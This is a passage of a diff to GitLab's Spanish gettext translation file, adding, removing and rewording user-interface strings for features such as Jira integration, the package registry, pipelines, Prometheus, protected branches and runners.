+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr "El trabajo ha sido eliminado"
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr "Se reintentó el trabajo"
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr "Trabajos"
@@ -18997,9 +18694,6 @@ msgstr "con"
msgid "Join Zoom meeting"
msgstr "Unirse a la reunión de Zoom"
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr "LFS"
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr "Objetos LFS"
@@ -19392,9 +19083,6 @@ msgstr "Aprenda como contribuir %{link_start}a las plantillas integradas%{link_e
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr "Aprenda como %{no_packages_link_start}publicar y compartir sus paquetes%{no_packages_link_end} con GitLab."
-msgid "Learn how to enable synchronization"
-msgstr "Aprenda cómo habilitar la sincronización"
-
msgid "Learn more"
msgstr "Conozca más"
@@ -19602,6 +19290,9 @@ msgstr "Historial de licencias"
msgid "License ID:"
msgstr "ID de licencia:"
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr "Mostrar el archivo completo"
msgid "Made this issue confidential."
msgstr "Convierte este problema en confidencial."
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr "Modo mantenimiento"
@@ -20075,9 +19778,6 @@ msgstr "Asegúrese de guardarlo, no podrá volver a acceder a él."
msgid "Makes this issue confidential."
msgstr "Convierte la incidencia en confidencial."
-msgid "Manage"
-msgstr "Administrar"
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr "Nivel de acceso máximo"
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr "Retraso máximo (minutos)"
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr "Duración máxima de una sesión."
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr "El tiempo de espera máximo para los trabajos tiene un valor que no pued
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr "Mediana"
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr "por ejemplo, req/seg."
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr "Microsoft Azure"
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "No se puede encontrar el hito %{milestoneTitle}"
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr "Se encontraron varios tipos de modelo: %{model_types}"
msgid "Multiple uploaders found: %{uploader_types}"
msgstr "Se encontraron varios tipos de cargadores: %{uploader_types}"
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr "Nombre"
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,15 +21620,15 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
+msgid "NetworkPolicies|Scan Execution"
+msgstr ""
+
msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr "Algo salió mal, se ha producido un error al actualizar la política"
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr "Algo salió mal, se ha producido un error al obtener las políticas"
-msgid "NetworkPolicies|Status"
-msgstr ""
-
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -22132,9 +21823,6 @@ msgstr "Nuevo título de la incidencia"
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr "Nueva iteración creada"
@@ -22153,7 +21841,7 @@ msgstr "Nuevo hito"
msgid "New password"
msgstr "Nueva contraseña"
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr "No hay repositorio"
-msgid "No required pipeline"
-msgstr "No se requiere un pipeline"
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr "Nada encontrado…"
msgid "Nothing to preview."
msgstr "Nada para previsualizar."
-msgid "Nothing to synchronize"
-msgstr "Nada que sincronizar"
-
msgid "Notification events"
msgstr "Eventos de notificación"
@@ -22788,9 +22470,6 @@ msgstr "Novato"
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr "Número de %{itemTitle}"
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr "El tipo de paquete debe ser PyPi"
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr "Copiar comando de configuración de NuGet"
msgid "PackageRegistry|Copy Pip command"
msgstr "Copiar comando de Pip"
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr "Copiar comando de configuración de yarn"
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr "Eliminar la versión del paquete"
@@ -23561,9 +23249,6 @@ msgstr "Para obtener más información sobre el registro PyPiPi, %{linkStart}vea
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr "Comando NuGet"
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr "Comando Pip"
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr "Se ha producido un error al cargar el paquete"
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr "Pausar"
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr "Pausar replicación"
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "Total:"
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr "padre"
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,14 +24257,14 @@ msgstr "con etapa"
msgid "Pipeline|with stages"
msgstr "con etapas"
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
-msgstr "Lista de branches separadas por comas que serán inspeccionadas automáticamente. Deje este campo en blanco para incluir todas las ramas."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
+msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
-msgstr "API token de Pivotal Tracker."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
+msgstr ""
msgid "Plain diff"
msgstr "Dif simple"
@@ -24605,12 +24308,12 @@ msgstr "Por favor, compruebe el archivo de configuración para asegurarse de que
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr "Por favor, compruebe el archivo de configuración para asegurarse de que está disponible y que el fichero YAML es válido"
+msgid "Please check your email %{email} to confirm your account"
+msgstr ""
+
msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr "Por favor revise su correo electrónico (%{email}) para verificar que es el propietario de esta dirección y desbloquear la potencia de CI/CD. ¿No lo ha recibido? %{resend_link}. ¿Ha utilizado una dirección de correo electrónico incorrecta? %{update_link}."
-msgid "Please check your email to confirm your account"
-msgstr ""
-
msgid "Please choose a file"
msgstr ""
@@ -24620,6 +24323,12 @@ msgstr "Por favor, elija una URL de grupo sin caracteres especiales."
msgid "Please complete your profile with email address"
msgstr "Por favor, complete su perfil con una dirección de correo electrónico"
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr "Editar perfil"
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr "Introduzca su nombre para que las personas que le conozca puedan reconocer su perfil"
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr "El proyecto '%{project_name}' será eliminado el %{date}"
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr "Eventos de auditoría del proyecto"
-
msgid "Project Badges"
msgstr "Insignias de proyecto"
@@ -25547,6 +25256,9 @@ msgstr "Proyecto ya eliminado"
msgid "Project and wiki repositories"
msgstr "Repositorios de proyecto y wiki"
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr "Avatar del proyecto"
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr "Descripción del proyecto (opcional)"
-msgid "Project details"
-msgstr "Detalles del Proyecto"
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr "El proyecto no existe o no tiene permiso para realizar esta acción"
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr "El orden del proyecto no se guardará ya que el almacenamiento local no está disponible."
-msgid "Project overview"
-msgstr "Resumen del proyecto"
-
msgid "Project path"
msgstr "Ruta del proyecto"
-msgid "Project scanning help page"
-msgstr "Página de ayuda para el escaneo de proyectos"
-
msgid "Project security status"
msgstr "Estado de la seguridad del proyecto"
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "Nunca"
-msgid "ProjectLifecycle|Stage"
-msgstr "Etapa"
-
msgid "ProjectOverview|Fork"
msgstr "Fork"
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr "Crear un proyecto en blanco"
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr "Crear desde una plantilla"
@@ -26303,9 +26000,6 @@ msgstr "Importar"
msgid "ProjectsNew|Import project"
msgstr "Importar proyecto"
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr "Inicializar el repositorio con un archivo README"
@@ -26390,21 +26084,18 @@ msgstr "se han encontrado %{exporters} con %{metrics}"
msgid "PrometheusService|Active"
msgstr "Activo"
-msgid "PrometheusService|Auto configuration"
-msgstr "Configuración automática"
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr "Métricas comunes"
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr "Las métricas comunes más son monitorizadas automáticamente en base a una librería de métricas de los exportadores más populares."
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr "Métricas personalizadas"
@@ -26420,18 +26111,9 @@ msgstr "Encontrar y configurar métricas..."
msgid "PrometheusService|Finding custom metrics..."
msgstr "Buscar métricas personalizadas..."
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr "Instalar Prometheus en los clusters"
-
msgid "PrometheusService|Manage clusters"
msgstr "Administrar clústeres"
@@ -26447,9 +26129,6 @@ msgstr "Falta la variable de entorno"
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr "Más información"
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr "No se han creado métricas personalizadas. Cree una utilizando el botón situado más arriba"
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr "Estas métricas serán monitorizadas una vez se realice el primer despliegue a un entorno"
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr "Esperando su primera despliegue en un entorno para buscar métricas comu
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr "Promocionar"
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr "Promocionar la incidencia a una tarea épica"
@@ -26516,9 +26198,6 @@ msgstr "El proyecto no pertenecen a un grupo."
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr "Ha fallado la promoción - %{message}"
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr "Incidencia promocionada a tarea épica."
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr "Rama"
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr "Aprobación del propietario del código"
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr "Proteger"
@@ -26684,6 +26375,9 @@ msgstr "Proteger una rama"
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr "Ramas protegidas (%{protected_branches_count})"
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr "Requerir aprobación de los propietarios del código:"
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr "Actualmente no hay ramas protegidas, proteja una rama con el formulario anterior."
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} podrá modificarse por los desarrolladores. ¿Estás seguro de que desea continuar?"
@@ -26744,18 +26441,30 @@ msgstr "Se ha protegido su entorno."
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr "Se ha desprotegido su entorno"
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
-msgstr "Protocolo"
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr "Proveedor"
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr "Registrarse con la aplicación de dos factores"
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr "Rechazado (cerrado)"
msgid "Related Issues"
msgstr "Incidencias Relacionadas"
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr "Eliminar la licencia"
msgid "Remove limit"
msgstr "Eliminar límite"
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr "Eliminar miembro"
msgid "Remove milestone"
msgstr "Eliminar el hito"
-msgid "Remove node"
-msgstr "Eliminar nodo"
-
msgid "Remove parent epic from an epic"
msgstr "Eliminar la tarea épica padre de una tarea épica"
-msgid "Remove primary node"
-msgstr "Eliminar nodo principal"
-
msgid "Remove priority"
msgstr "Eliminar prioridad"
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr "Eliminar nodo secundario"
-
msgid "Remove spent time"
msgstr "Eliminar el tiempo gastado"
@@ -27555,15 +27264,18 @@ msgstr "Reabrió este %{quick_action_target}."
msgid "Reopens this %{quick_action_target}."
msgstr "Reabrir este %{quick_action_target}."
-msgid "Repair authentication"
-msgstr "Reparar la autenticación"
-
msgid "Replace"
msgstr "Reemplazar"
+msgid "Replace %{name}"
+msgstr ""
+
msgid "Replace all label(s)"
msgstr "Reemplazar todas las etiquetas"
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr "Reemplazadas todas las etiquetas %{label_references} %{label_text}."
@@ -27573,15 +27285,6 @@ msgstr "Reemplaza la raíz de la URL de clonado."
msgid "Replication"
msgstr "Replicación"
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr "Responder por correo electrónico"
@@ -27981,6 +27684,9 @@ msgstr[1] "Requiere %d aprobaciones más."
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr "Reanudar"
msgid "Resync"
msgstr "Resincronizar"
-msgid "Resync all"
-msgstr "Resincronizar todo"
-
-msgid "Resync all %{replicableType}"
-msgstr "Resincronizar todo %{replicableType}"
-
msgid "Retry"
msgstr "Reintentar"
@@ -28152,9 +27852,6 @@ msgstr "Reintentar este trabajo"
msgid "Retry this job in order to create the necessary resources."
msgstr "Vuelva a intentar este trabajo para crear los recursos necesarios."
-msgid "Retry update"
-msgstr "Reintentar la actualización"
-
msgid "Retry verification"
msgstr "Reintentar la verificación"
@@ -28249,6 +27946,9 @@ msgstr "Agregar a"
msgid "RightSidebar|deleting the"
msgstr "Eliminar el"
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr "Hoja de ruta"
@@ -28258,9 +27958,6 @@ msgstr "Rol"
msgid "Rollback"
msgstr "Restaurar"
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr "Página de ejecutores."
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
